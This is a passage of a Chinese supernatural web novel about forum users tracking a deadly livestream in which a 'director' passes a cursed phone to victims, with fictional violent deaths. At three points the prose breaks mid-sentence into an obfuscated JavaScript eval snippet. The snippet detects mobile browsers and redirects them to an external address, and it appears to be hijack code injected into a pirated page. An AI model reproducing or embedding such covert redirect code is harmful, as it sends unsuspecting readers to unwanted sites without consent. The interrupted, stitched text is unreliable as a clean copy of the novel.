不落木沉默了片刻,再开口时语气带着几分沉重:“我也觉得世界上没有那么多贪心的人,但如同主播的论坛昵称一样,惊悚片导演确实是天生的导演,他会想尽办法诱惑别人将其据为己有。” 季青喝了一口清茶,几乎没怎么思索就在群语音里提出了问题:“想尽办法诱惑捡到手机的人将其据为己有?据为己有这个情况是怎么判定的?” 季青所说确实是有极大可能出现的情况,万一有人捡到手机之后揣进兜里,打算天亮之后送到派出所呢? 也就是说,即使没有据为己有的念头,但达到了持有这个手机直到天亮的条件,这种达成条件,却又违背直播间那所谓“惩罚将失主的东西据为己有的坏人”的初衷的情况,会被“处刑”吗? 季青开始在论坛搜索与直播间相关的帖子,准备核实这个直播间的规则,可还没浏览几条,耳机里就传来了被处理过的电子声—— “哈喽哈喽,各位观众朋友们,欢迎收看惊悚片导演的直播!” 直播开始了! 语音群的几人突然都不再说话,季青、常岚、余子夜、江大河和不落木五人,全部都聚精会神地开始收看直播。 直播间出现画面,背景是A市夜晚热闹的都市夜景,主播正站在中央公园前的马路旁,身后车流如织。 “哇!”余子夜率先发出惊叹,“这个直播设备真不错哎!” 余子夜的惊讶不是没有道理,直播间的画面观感非常好,不仅异常清晰,还不是一般的户外主播那种运动相机或者自拍杆视角,而像是电视台的真人秀节目一样,能完整看到戴着墨镜和口罩的男青年:也就是导演本人。 “各位老铁们,晚上好!” 导演兴奋的声音响起,语气格外欢快,“在开始今晚的‘正义审判’之前,让我们先复习一下本直播间的核心价值观——” 他的语气陡然变得严肃,装模作样,一字一句地说: “我们身处一个道德滑坡的时代!拾金不昧成了稀罕事,而占小便宜成了常态!多少人捡到他人财物,第一反应不是寻找失主,而是掂量它能值多少钱?这种贪婪的人,正是社会的毒瘤,是粥里的老鼠屎!” 他的样子慷慨激昂,仿佛在进行一场公开演讲: “我的直播,目的并非娱乐,而是警示!老铁们,我要用最直接的方式,告诉所有心怀贪念的人——不是你的,你别拿!” “拿了,就要付出代价!” 这番歪理邪说,居然引得直播间弹幕里一片附和之声,充斥着“导演说得对!”“支持净化社会!”“惩罚贪心鬼!”之类的言论,显然,导演已经成功洗脑了一批追捧其“正义”的观众。 “理论结束。”导演的声音恢复到一开始的轻佻,嬉皮笑脸地说:“实践开始!按照今天的预告,现在让我们寻找今晚的‘演员’吧。” 明明是直播,却像表演一样拥有多机位,画面居然跟随着他的脚步拉高,显示出导演的背影。 季青皱起眉来,公园的路灯并没有照出其他人的影子,公园里的路人也没注意到这边,如果是有几个摄影师在拍,那么至少会引起注视的吧? 不等季青思考,直播画面就又切了一个镜头,导演已经走到了公园门口的出租车临时停靠点,几辆蓝白相间的出租车正停在那里。 “老铁们,我们的直播绝无作假!现在就给大家验证!”导演压低声音望向镜头,接着朝出租车的方向大喊:“有急事!哪个司机师傅现在就能走?要快!” 几个站在出租车边上聊天的司机马上抬起头,其中一个率先跑到车边拉开车门,朝导演喊道:“我我我,帅哥上车吧!” 导演利落地坐上车,给出租车司机报了一个本地的五星酒店的地址。 看到这里连江大河都觉得不对劲了:“镜头怎么又切到车里了,我应该没看漏吧,没有摄影师跟着导演上车啊?” 这个离奇的直播视角到底是怎么做到的…… 不落木倒是表现得很淡定,给大家解释道:“有什么能切换视角的怪谈道具也不奇怪,这个论坛有的是超出常理的东西。” 几人哦了一声,继续观看直播。 画面里的导演已经和司机攀谈起来,说什么自己来A市出差,临时有个商务会议,有大老板要来谈,不得已大晚上加班,要不是单子太大他才不想去,一副明怨暗秀的样子。 司机连连附和,一直到把车停在五星酒店门口,导演才闭上嘴巴,然后,只见他动作迅速地将一部看起来崭新的高端手机,轻轻塞进了后座的座椅缝隙里,利落离开。 “搞定。” 导演的直播间画面此时切换成了他拿着手机自拍的视角,他并没有进入五星酒店,想来刚刚的人设都是表演的一部分,他退到不远处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642250|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴影中,朝着观众吆喝起来: “各位,赌盘已经开启!老规矩,【流转成功】还是【处刑秀】?买定离手!” 直播间的屏幕下出现了两个投注选项,投注条开始疯狂滚动,【处刑秀】的投注金额以压倒性的优势快速增长。 显然,老观众们早已熟悉导演的手段,他们不相信会有人能抵抗导演给出的诱惑,或者说,他们内心深处渴望看到的,正是那场血腥的处刑。 语音群的季青等人,正商量着要不要参加投注,最终决定由季青押注一块钱【流转成功】,常岚押注一块钱【处刑秀】,其他人不押注。 导演将镜头又切换回了那个离奇的机位,这时竟依然能看到出租车内的画面。 时间一分一秒过去,原本停在附近停靠点的出租车司机伸了个懒腰,看了看时间,接着启动车子,似乎准备离开这个没什么客人的地方。 他完全没有注意到后面座位多出来的手机。 “啧……” 季青的耳机里传来导演的咂嘴声,仿佛在表达对司机的不满。 “看来我们的演员还没拿到剧本。”画面虽然仍在车内,但直播间里依旧能传来他的声音,“赌盘还有三十秒关闭,还没下注的朋友们抓紧了!” 他发出一声轻笑:“让我们给这位玩家一点小小的提示……” 随着导演的倒数,赌盘倒计时结束,投注通道关闭。 看到投注结束,导演才拿出另一部手机,拨通了一个号码。 直播画面再次切换到出租车里,手机铃声正从后座响起,不了准备驶离停靠点的司机一愣,疑惑地转头,看见了座椅缝隙里那部正在响铃的手机。 他到后座拿起手机,一脸茫然。 “喂?你好?”司机接通了电话,导演故作焦急的声音从手机传了出来,这声音也通过直播清晰地传到季青他们的耳机里: “师傅!幸好你接了!我刚刚把手机落在你车上了!那手机对我太重要了!里面全是公司的重要文件和客户资料!你也知道我在谈大单子,要是丢了我就完了!” 导演努力地塑造着自己的人设,提出希望出租车司机将这部很重要的手机送过来: “这样,师傅,就当我再打一次出租车,您看方不方便现在帮我立刻送回酒店门口?” 司机看着手里崭新的高端手机,又看看定位,似乎是有点犹豫:“不是再下一单的事,你下车的地方人少,去了也拉不到客,我专门为你送一趟手机,这个耽误的功夫……” 电话那头的导演沉默了一会,接着更加卖力地表演起来: “麻烦您了师傅,这个手机对我来说真的特别重要!这样吧,我再额外付您误工费,多少都没关系,只要您能现在送过来!” 听到对方愿意支付“误工费”,出租车司机下意识地觉得这手机确实极其重要。 出租车司机的呼吸粗重起来,他犹豫了一下,说道:“这个,我现在送过去也行,就是这可不是误工费那么简单,我本来可以把手机转卖,但现在专门给你送过去……” “老板不表示一下吗?” 出租车司机的话没说完,但意思很明显,直播间的弹幕瞬间爆炸: “上钩了上钩了!” “果然要加钱!” “败类!” “处刑秀!处刑秀!” 气氛沸腾起来,弹幕在导演的窃笑中疯狂翻滚。 处刑!处刑!处刑!处刑!处刑! 42. 谁捡了我的手机(三) 直播间气氛热烈,导演哈哈一笑,他对着电话继续伪装,语气中甚至还带着一丝兴奋: “没问题!师傅您说个数!只要手机能回来,都好说!” 司机嘶了一声,思考了一会,报出了一个数字:“那就一千吧,到账之后我马上把手机给你送去。” 导演这边没有任何迟疑,爽快地答应司开的价码: “好!那就一千,师傅你加一下我微信,就是我现在给你打电话的手机号,感谢费我马上转您!” 出租车司机几乎是急不可耐地添加了导演的微信,很快,导演这边就通过了好友申请,立刻进行了转账。 直播间的画面中,出租车司机看着到账信息,脸上是掩饰不住的笑意,他赶忙在电话里回复导演:“钱收到了,我这就给你送过去。” 就在他确认完收款,准备挂掉电话,发动汽车的那一刻—— 电话中导演那原本伪装的焦急声音消失了,取而代之的是戏谑的语气,导演的“审判”通过电话公放,清晰地回荡在出租车狭小的空间里,也回荡在无数观看直播的屏幕前: “将不属于自己的东西据为己有的坏人,按照约定,我将诅咒你……” 导演故意顿了顿,似乎是和直播间的观众们一样,享受着直播画面中四处张望,显得分外诧异和迷茫的出租车司机的惊慌反应。 导演如同地狱的判官,阴恻恻地解释他的“诅咒”: “恭喜你成为我的替死鬼!” 直播画面中的出租车司机显然被吓了一跳,他攥紧手机,惊慌地问道:“什么意思?开什么玩笑?” 出租车司机惊恐的样子引起了直播间弹幕的讨论,导演满意地打了个响指,向司机解释规则: “在天亮之前,你必须找到下一个像你一样贪心地将手机据为己有的人,和我一样将这个诅咒传递,否则,死亡就会降临到你的头上!” 说完,导演迅速挂断电话,向直播间的观众们说道:“好了,现在让我们拭目以待,看看今晚的这位演员能不能在天亮之前找到下一个替死鬼呢!” 与此同时,季青他们的语音群也开始七嘴八舌的讨论起来,原来【流转成功】不仅仅是将手机给别人,而是要像导演一样,找到下一个贪心的替死鬼! 直播画面中的出租车司机被这突如其来的诅咒吓了一跳,但很快,司机逐渐表现出一种“被人耍了”的愤怒。 他先是怒气冲冲地把手机扔到了车窗外,然后一脚油门离开,准备带着导演给的“误工费”直接回家 直播视角随着手机被扔出,停留在了路边,可司机刚开出去一个路口,这个手机便和直播视角一起,莫名其妙地又回到了车内。 发现刚刚扔出去的手机又回到车里的出租车司机,脸上开始露出恐惧的神情。 接下来出租车司机尝试了各种办法去摆脱这个诡异的手机,甚至将其送去了派出所,可一转头,手机又回到了兜里。 “没用的。”不落木在语音里说起自己的看法,“A市怪谈的规则是绝对的,既然导演说了需要下一个贪心的人将其据为己有,那么司机就应该像导演诱惑他一样,去诱惑其他人拿走手机。” 季青放下茶杯,揉了揉眉心。 难怪直播间的赌盘呈现一边倒的押注趋势,像他们这样的论坛用户,都没有十足的把握能在这么短的时间内解决怪谈,更别说出租车司机这种被突然盯上,毫无防备的普通人。 这个赌局的结果,从一开始似乎就是注定的。 直播画面中慌了神的出租车司机,正用自己临死前的挣扎,为屏幕前的各位提供直播“表演”。 这实在太过残忍,季青不忍再看,在语音群里说自己要早睡,不打算看了。 常岚也能猜到,季青之前面对怪谈都是相当积极地去收集信息和猜测规则,今天这么早退出,大概是因为直播内容确实让人不适。 他在语音群里打着圆场,让其他人该睡觉的就去睡觉,他来看完直播,明天再给大家转述一下信息。 季青应了一声,把想要关注的直播内容整理好发给了常岚,便断开了链接。 其他人也纷纷离开了语音群,可直播还在继续。 直到常岚喝完从凝真观门口的自动售货机那买来的第四罐咖啡,直播才接近尾声。 天要亮了,出租车司机还是没有摆脱那个诡异手机,直播间里也纷纷滑过“我就知道”,“毫无意外呢”,“毕竟还没见过成功流转的人”,这样的弹幕。 和季青说的一样,押注会呈现一边倒的趋势,是因为每次都是一样的结果,也就是说,导演直播几次,就有几人在这样的直播间里死亡! 常岚有些烦躁地把咖啡空罐捏扁扔进垃圾桶,此时直播间里的导演正在卖力地为出租车司机作出最终“宣判”: “各位观众,很遗憾,天快亮了,但手机仍被此人据为己有!” “对于这样一位贪得无厌的‘坏人’,我们应该给他一个怎样的……处刑呢?” “有请我们的榜一大哥!” 直播界面上,那个高居投注榜榜首,是一个昵称【佚名】的用户。 【佚名】?! 居然是他?常岚坐直了身体,赶快在手机备忘录记上了这条信息。 【佚名】的付费留言极为醒目,鲜红的弹幕如同血痕般缓缓划过屏幕: 【我没什么特别想看的,既然是导演抓到了坏人,死法就让导演来选吧】 这条留言一出,大量弹幕又开始滚动,观众们被这个新鲜想法刺激得嗷嗷叫,想要知道开播的导演会中意什么样的死法,各种怂恿和附和的言论开始刷屏。 然而,导演的回应很快通过直播传来,他一口回绝了【佚名】的提议: “感谢榜一大哥的精彩想法。但大家都是A市的人,应该知道要尊重规则,所以也请榜一大哥遵守我们直播间的规则。” 他巧妙地拒绝了【佚名】的试探,既维持了直播间“公平公正”的假象,也隐晦地强调了榜一的特权。 【佚名】似乎并不意外,也没有再纠缠。 片刻之后,一条新的死亡提议被发出: 【那就让他把自己吊死在车里】 “如您所愿。” 导演轻笑一声。 下一秒,直播画面中,原本在出租车内无神地盯着那部诡异手机的司机,突然发出了极度惊恐的呜咽。 他的双手不受控制地抓向自己的脖子,那里不知何时已经缠绕上了他用来给手机充电的数据线! 他拼命挣扎,数据线却被一股无形的力量强行操控,绕过他的脖子,将其勒在座椅上。 司机的脖颈被数据线勒得咔咔作响,逐渐拧向一个诡异的角度,那张因恐惧和痛苦而扭曲的脸,被迫绝望地“看向”直播镜头! 画面在此刻定格,然后瞬间黑屏。 直播结束。 常岚连直播间都没有关闭,就迅速把直播的情况整理好,通通发给季青,没过一会,季青就发来了回信——她实在也睡不好,早早醒了。 季青抱着膝盖坐在床上,虽然刚醒,但眼神却很清明,她反复梳理着常岚发给她的内容,回复道: “那个佚名,他是故意的。” 常岚揉了揉疲惫的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645919|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,打起精神来回复季青的信息:“你的意思是,他在主动试探这个直播间的规则?” 季青发了个“对”的表情,认可了常岚的说法。 “佚名不是因为不知道选什么死法好,才让导演选择死法,他在测试直播间那个处刑的选择方式。” “他在验证,导致直播中玩家死亡的,究竟是导演本人,还是……纯粹基于规则本身的‘强制力量’。” 季青皱着眉头,说出最不希望,却也最有可能出现的情况: “他现在很可能已经得出了结论。规则可能就是——直播间投票获胜方中,投注比重最大的那个人,也就是榜一,才能选择惩罚方式。” “这种选择权,似乎能直接驱动那股诡异的力量,这种力量,凌驾于导演这个主播之上。” 几乎是与此同时,另一边,佚名也通过自己的渠道,主动联系上了导演。 作为榜一,他却并不是导演的粉丝,对直播也并不感兴趣,他只是以一种近乎冷酷的生意人口吻,对导演提出了建议: “导演,你的直播很有趣,但模式太单一,缺乏可持续性。” “每次都是第一个捡到手机的人死,赌盘缺乏变数,可想而知,以后肯定会出现几乎无人押注【流转成功】,赌局自然进行不下去,直播间热度也就下去了。” 导演沉默了片刻,觉得有道理,迅速回应:“你有何高见?” 佚名露出自信的表情向导演提出了合作意向:“我可以帮你制造‘节目效果’。让游戏更复杂,让赌盘更有趣,让流量更爆炸。” “下一次直播,我会亲自下场,给你演示一下,什么叫做‘可控的意外’和‘人心的戏剧’。” 导演似乎被说动了,他对佚名这个神秘而阔绰的“合作者”产生了浓厚兴趣,赶紧追问:“你想怎么做?” 佚名微微一笑: “到时候你就知道了,配合我就行。” 第二天,夜幕如期降临,季青等人再次聚集在语音频道,气氛比前一天更加凝重。 他们都预感到,佚名的突然出现,会让事情走向一个更加复杂诡谲的方向。 直播信号准时接通,今天,导演将那部象征着厄运的手机,随意地放在一个大学城附近的公园长椅上。 不久,一个穿着连帽衫,看不清面容的男人走了过来,他左右张望了一下,貌似随意地拿起了手机。 直播间的赌盘立刻开启,赌他是否会“据为己有”,此次下注仍是一边倒的【处刑秀】。 “唉,常岚你昨天不是压对了吗?”余子夜突然想起了这回事,问道:“那你赚了多少钱?” 常岚看了一眼转账记录,答道:“一分钱……” “毕竟大部分人都押注【处刑秀】,狼多肉少。”不落木打开手机看了一眼自己今年投的的基金,“相当于百分之一的利率,还行吧,比我基金赚得多……” 然而今天的直播却有所不同,在被导演通过手机短信告知诅咒后,连帽衫男并没有显示出慌张的样子,也没有像之前的参与者一样,尝试关机或丢弃手机。 他只是拿着手机,站在长椅边,像是在等人,或者是,在寻找猎物。 几分钟后,一个背着双肩包、看起来有些单纯的男大学生路过。 连帽衫男立刻迎了上去,他的语气充满了“惊喜”和“诚恳”:“同学!同学你好!打扰一下!” 男同学停下脚步,扭过头疑惑地看着他。 直播画面中也显示出这个男同学的脸,观看直播的季青呼吸一滞—— 这个被连帽衫男拦下的同学,就是她班上的亮仔啊! 43. 谁捡了我的手机(四) 被喊住的亮仔停下脚步,疑惑地看着连帽衫男。 连帽衫男举起手中的手机,语气激动地说: “同学你好!我是XX手机品牌的市场推广员,我们正在搞一个线下快闪抽奖活动!” 连帽衫男变戏法一样,从兜里掏出一沓刮刮卡奖券,手法娴熟地在亮仔面前展开,邀请他抽一张: “新款手机上市做活动,随机邀请路人抽奖,如果抽中特等奖,那我手上这部最新款旗舰机就送给你啦!” 亮仔看着热情的连帽衫男,有点犹豫地挠挠头:“真的不是什么诈骗,或者要我加你们的客服搞推销什么的吧?” 连帽衫男连连摇头,“怎么会,不用加微信,当场抽奖当场开奖!”说着,他将展开的奖券再次递向亮仔: “同学帮帮忙,老板说今天不发完不给我结工资,你就随便抽一张吧,哪怕抽到一包餐巾纸也不亏呀。” “行吧,就当日行一善了。”亮仔随手在奖券里挑了一张,站在路边就开始刮—— 奖券开奖涂层被刮开一个小口,隐隐约约能看见一个”特“字。 “不会吧!?”亮仔愣了一下,“我居然也有走运的时候?!” 看到这里,语音群里的余子夜已经在哀嚎了:“哪里是走运啊同学!免费的就是最贵的!这是诈骗,快跑啊!” 季青根本来不及在群里发表意见,她迅速翻找起班上同学的联系方式文档,开始查找亮仔的手机号,企图强行打断这场厄运接力。 可直播间里的亮仔,几乎是迫不及待地把涂层全部刮完,果然,亮闪闪的“特等奖”三个字出现在开奖区。 连帽衫男也跟着夸张地叫了一声:“哇!” “同学,你好幸运!千分之一的概率就被你刮到啦!” 连帽衫男把手机递给还咧着嘴傻笑的亮仔:“这部是我们最新的旗舰手机,价值八千元!现在直接送给你了!” 亮仔愣住了,指了指自己,脸上写满了“天上还真的掉馅饼”的难以置信:“啊?真的假的?手机这就送给我了?” “千真万确!”连帽衫男演技精湛,将亮仔骗得团团转,宽大的帽子让他大部分的脸都沉在阴影中:“这部手机就是你的了,同学记得多多替我们品牌宣传哦!!” 直播间的弹幕短暂地停滞了一下,随即爆发出更加癫狂的浪潮! “神了!还能这样玩?” “节目效果爆炸!” “终于出现会玩的人了!!” “这大学生傻乎乎的,笑死!” “这个大学生会骗下一个人吗?期待!” 而正在观看直播的季青,已经拨通了亮仔的电话—— “谢……” 谢谢还没说完,亮仔自己的手机铃声就响了起来。 快接啊!季青在屏幕这边焦急地等待电话接通。 连帽衫男听到手机铃声后,嘴角扬起,冷冷“哼”了一声,在亮仔准备掏手机接电话的时候,直接将那部诡异手机塞进了亮仔手里!他握着亮仔的手,迅速说道:“现在它是你的了,同学!” 接着连帽衫男松开手,后退两步,向亮仔挥挥手,迅速消失在夜色中。 整个过程行云流水,不到十秒,亮仔还没能消化眼前突如其来的转折,他一脸懵地愣在原地,又过了几秒才慢吞吞接起电话。 晚了一步! 季青懊恼地轻轻敲了下脑门,手机里传来亮仔还带着懵懂的声音:“喂?季老师,这么晚打电话有什么事呀?” 季青努力深呼吸,直播画面已经不再跟随离开的佚名,而是停留在亮仔身上—— 现在她的通话内容也正被直播间的观众、导演甚至刚刚离去的佚名听着! 她克制着自己的情绪,装作随意地说:“没什么事,你们期末提交的小组作业有点格式错误,我发你微信了,现在就看一下,马上改好反馈给我。” “啊?”还没等亮仔反应过来什么小组作业,季青就挂掉了电话。 挂掉电话没多久,亮仔自己的手机和那部诡异手机,同时受到了讯息,出于对季青这个助教老师的信任,他先点开了自己的微信: 【民俗学季老师】:你现在正在被直播,待会那部送给你的手机会发给你一条诅咒信息,不要慌也不要乱说话,按我说的做。 啥玩意?亮仔的脑袋上冒出一连串问号,他回复道: 【季老师,发生什么事了?你被盗号了?】 他是被什么整蛊节目盯上了吗,难怪,亮仔寻思着自己哪可能有那么好的运气中奖。 不过以季青平时在班上的表现,亮仔下意识觉得她不是会和整蛊节目一起折腾学生的人。 所以亮仔还是乖乖听了季青的话,装作没看到季青的信息一样,拿起了那部刚刚“中奖”得来的诡异手机,查看上面收到的那条匿名短信—— 【在天亮之前,你必须找到下一个像你一样贪心地将手机据为己有的人,和我一样将这个诅咒传递,否则,死亡就会降临到你的头上!】 还真是恶意诅咒啊? 直播画面紧紧跟随着还懵然不知的亮仔,亮仔看着诅咒信息愣在原地,直到被行人撞了一下,才回过神来,他赶紧给季青发送消息: 【季老师,你怎么知道是这种恶作剧啊,你是不是在跟那个人一起整我?】 可惜论坛无法截图录屏,季青没法直接把直播画面拿给亮仔看,她思考着,要怎么让接受了高等教育的大学生接受怪谈的存在。 没一会,她向亮仔发了一条信息: 【这不是整蛊,是一种超自然力量,不相信的话,你现在就把手机放在原地然后走开,这个手机会回到你的身边。】 “真的假的?”亮仔嘴里嘟囔着,“该不会把我手机放下就有人抢走吧?” 话是这么说,亮仔想到手机里那条充满恶意的短信,还是觉得有点背后发毛,他把手机放到路边的长椅上,手机那冰凉的触感离开掌心,他才觉得稍稍松了一口气,准备按照原计划回家。 他一边想着自己该不会真的是被什么电视节目整蛊了,一边又隐隐觉得自己应该不会那么倒霉,真的在A市这个怪谈之都遇到死亡怪谈吧—— 不知为何,越想越惊悚,亮仔甚至开始觉得背后有什么东西在盯着自己,他不禁加快了脚步。 可刚走出去不到百步,亮仔突然感觉到口袋一沉。 他愣在原地,凉意从脚底窜到天灵盖,他颤抖着手,不可置信地往口袋里一摸—— 那部诡异的手机,真的回到了他这里。 而与此同时,直播间的赌盘果然如佚名所预言的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650735|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样,发生了翻天覆地的变化。 上一轮少数选择【流转成功】的人几乎是翻倍拿回了赌金,平衡被打破,投注不再是一边倒的局面,直播间的投注总额和活跃度以惊人的速度攀升。 语音群里的几人无心下注,转而开始讨论起了这次直播的情况。 余子夜率先提出质疑:“这次的直播一点都不公平!今天这个穿连帽衫的人,明显就是知道直播间的规则,跑来做节目效果的!” “本来也就不公平。”常岚的语气沉静,但隐隐透出一丝怒意,“本来被迫参与直播的都是不了解怪谈的普通人,几乎是单方面的虐杀,而今天这场直播更是一场有预谋的作秀。” 不落木翻看着直播界面的各项数据:“但直播效果肉眼可见的好不是吗,不管是直播间在线人数还是投注金额,都成倍上升了。” “停停停。”江大河有点云里雾里了,“你们都说这次是作秀,那今天这个在直播里搞节目效果的人到底是谁?冒险参与这个死亡直播对他到底有什么好处?” 语音群陷入了短暂的沉默,其他人都在等着季青发言。 季青叹了一口气,手边的笔记本上已经满是她写写画画的痕迹。 “首先,今天出场的这个穿着连帽衫的人,大概率就是佚名,他和导演是一伙的。” 季青把昨天常岚记录的直播间情况发到了群里,开始给大家解释: “佚名的投注很不正常,昨天他是【处刑秀】的榜一,但他今天他却以更高的金额押注了【流转成功】。” 结合佚名昨天当上榜一之后对处刑方式指定的试探,可以确定佚名在了解了直播间的规则之后,开始尝试利用这个直播间赚钱。 他不仅成功验证了规则,还利用了规则,今天,他甚至把原本一次性的杀戮直播,变成了一个可以真正持续运转的死亡游戏。 佚名用最残酷和直接的方式,向所有人演示了,当恶意拥有智慧并懂得利用规则时,所能造成的破坏有多么巨大,他不仅没有阻止这场暴行,反而为它注入了新的、更危险的“活力”。 厄运的手机,第一次,以“幸运”为伪装,成功地完成了流转。 游戏的难度升级了,他们不仅要面对诡异的规则和隐藏在幕后的导演,现在,还要面对一个聪明、冷酷且深谙人性弱点的“论坛玩家”——佚名。 直播间里,新一轮的投注即将暂停,这次【处刑秀】和【流转成功】的投注正在互相较劲,奖池金额节节攀升,与此相对的,则是镜头中还没弄清楚状况的亮仔。 亮仔正给季青发着消息寻求帮助: 【季老师,我信了我信了!这下怎么办啊!我不会真的被诅咒死吧?】 “那小季青的学生怎么办……”余子夜语气紧张地在群里提问:“那个学生根本不是因为贪心收下的手机,难道他也要被‘处刑’吗?” “有没有办法救一下无辜的人?” 季青看着直播间画面中,坐在路边长椅上,安静等待她信息的亮仔,咬紧了下唇。 “既然佚名可以利用规则,那我们也可以!”季青飞速点开诡异论坛,在里面搜索着有关直播间的讨论,“当务之急是先搞清楚,这个直播间的规则到底是怎么回事。” “比如说……被诅咒的,真的是手机吗?” 44. 谁捡了我的手机(五) “有一点我一直觉得很奇怪。”季青的笔尖随着话语点在笔记本上,“这个直播间的直播视角相当近,但每个被迫参与的玩家都没注意到自己被直播了。” 余子夜凭着自己曾经在电视台工作的经验,补充道:“而且还是多角度多机位,近景远景随意切换呢,普通的设备肯定做不到!” 江大河也想起来,昨晚观看直播时群里聊到的内容:“那就像不落木之前说的那样,这个直播间的摄影设备应该也是什么怪谈?” “那么直播设备到底是什么?”不落木很快提出了关键问题,“如果是什么怪谈的话,应该也得有迹可循吧。” 是的,有迹可循。 季青很早就注意到了,这场直播的核心,就是手机,一切节目效果的展开都是围绕那部诡异手机运转,所以直播视角一直没有离开手机! 这看似合理的地方,就是季青能抓到的线索! “没错!”季青手中的笔在纸面上画下重重一横,“这就是关键!我们一直以为‘手机’是诅咒的核心,是怪谈的源头。” “但如果……它根本没有承载什么厄运,只是一个被‘附魔’的直播设备呢?” 语音群里的众人被这番颠覆性的推论惊住,一时间都停下讨论,各自思索起来。 “好像是有这么回事。”常岚回想着自己昨晚全程观看的直播,顺着季青的话,找出了能够佐证她说法的直播内容: “如果说直播视角是跟随那个厄运诅咒走的话,直播视角应该在导演付给出租车司机辛苦费的时候才能切换,但在那之前,直播视角就可以切换到司机一人独处的出租车内了。” “对!就是这个!”季青随手在纸上给常岚画了一朵赞许的小红花—— “所以直播视角和诅咒流转的视角实际并不一致,我们只要验证直播视角始终跟随手机这一点,就能确定其中确有猫腻。” 不落木坐直了身体,犹豫了一下还是说出了心中的疑惑和期待:“那你准备怎么验证这一点?利用你的管理员权限吗?” 让其他人发一条有关这个直播视角的帖子,然后由季青用管理员权限直接验证是否【核实存在】,确实是最简单快捷的方法。 但是季青的目的远不止核实怪谈这么简单。 “我们要用更直接的方式,让观看直播的人都意识到这一点。” 直播间里不断滚动着礼物和醒目的付费留言,导演的感谢打赏的画外音还不断通过耳机传进季青的耳朵里。 季青放下笔,淡淡说道:“我要给导演打赏,让他现在切换视角,看他做不做得到!” “收到!”常岚爽快地接下了活,“你的管理员账号不能发言,我来替你发吧。” 常岚的手在键盘上飞快敲击着,没过一会,直播间就多出了一条付费留言—— 【凝真观-常岚】: 【导演,这个大学生呆坐在这好久了,没啥看头,你出镜给我们整点节目呗】 直播间里的导演不停感谢着大家的礼物和留言,却好似没看见一样,唯独略过了常岚的留言。 余子夜在语音群里不屑地撇撇嘴:“他是真没看见,还是在心虚啊!” “那就让他不得不看见。”常岚轻蔑一笑,在直播间狂刷一波礼物,一下蹿成了小时榜的榜一,这下连导演都不得不开始照顾这个暂时的“榜一大哥”。 导演按照流程感谢了一波常岚,但常岚根本懒得惯着他,又发了一遍付费留言: 【导演,这个大学生呆坐在这好久了,没啥看头,你出镜给我们整点节目呗】 【整点好看的,我就再刷一波火箭】 “打住打住!老板破费了!”常岚出手如此阔绰,把语音群的大家都吓了一跳,其余几人连忙出声拦住:“火箭又不是火柴!别给这种小人赚到了!” 直播间里的导演已经被这波付费留言砸得有点懵了,包括季青的捉诡小队在内的其他观众,也都纷纷拱火,要求切换直播画面。 这下轮到导演汗流浃背了,可他不得不回答直播间观众的问题:“我可以给直播间的老铁们讲一讲以前制裁坏人的事迹嘛,至于直播画面,咱们直播的内容和看点就是参与者如何流转手机,或者被处刑……” 他仍企图将这件事糊弄过去:“要是在我切出画面的这段时间里,这位参与者恰好把手机流转出去了呢,直播间岂不是没看点了?” 常岚在季青的示意下,决定再添一把火,继续留言道: 【是不想切镜头,还是不能切镜头?】 此话一出,常岚立刻被踢出了直播间。 常岚无奈地在语音群里如实汇报,自己的账号已经“光荣下岗”,喜提拉黑。 “嘿,他急了。”余子夜在语音群里鼓起掌来,“这算不算直接说明,小季青的猜测完全正确?” 江大河也适时接话:“算吧,被诅咒的手机是一个伪装正义的噱头,实际只是直播工具,导演肯定不想让别人知道这一点,害怕影响节目效果,才把常岚踢出的直播间。” “总之,算是核实到了诡异手机并不是厄运诅咒的真正实体,而是直播工具这一点。”季青一边说,一边打开诡异论坛的搜索页面—— “而这个厄运诅咒的源头,我猜是导演!”季青的语气坚定,就像她之前数次看穿规则真相一样,“每一次直播都由他开启,规则由他宣布,诅咒通过他最先传达!” 她暂时屏蔽群语音,集中精神,在论坛中利用自己的管理员权限,挨个搜索核实着关于导演本人,和一些厄运诅咒的帖子。 一条条看似不相干的帖子,在她的手中被金色的流光串联,独属于管理员的页面上,金色的庄周蝶仿佛逐渐积攒了力量,翅膀震颤,翩然欲飞。 突然—— 【核实存在!关键信息关联确认!】 就在季青又一次核实到关键信息时,庄周蝶像之前那样从屏幕中挣脱而出,在季青面前翩然飞舞! 金色的流光将季青包裹其中,眼前的电脑屏幕、房间的景象都逐渐消散,她被强行拖入了导演那扭曲的记忆之中—— 空气中弥漫着粉笔灰,四周是课本翻动的声音,昏暗的灯光下,老旧的风扇嗡嗡转动,这是一间正在进行晚自习的教室。 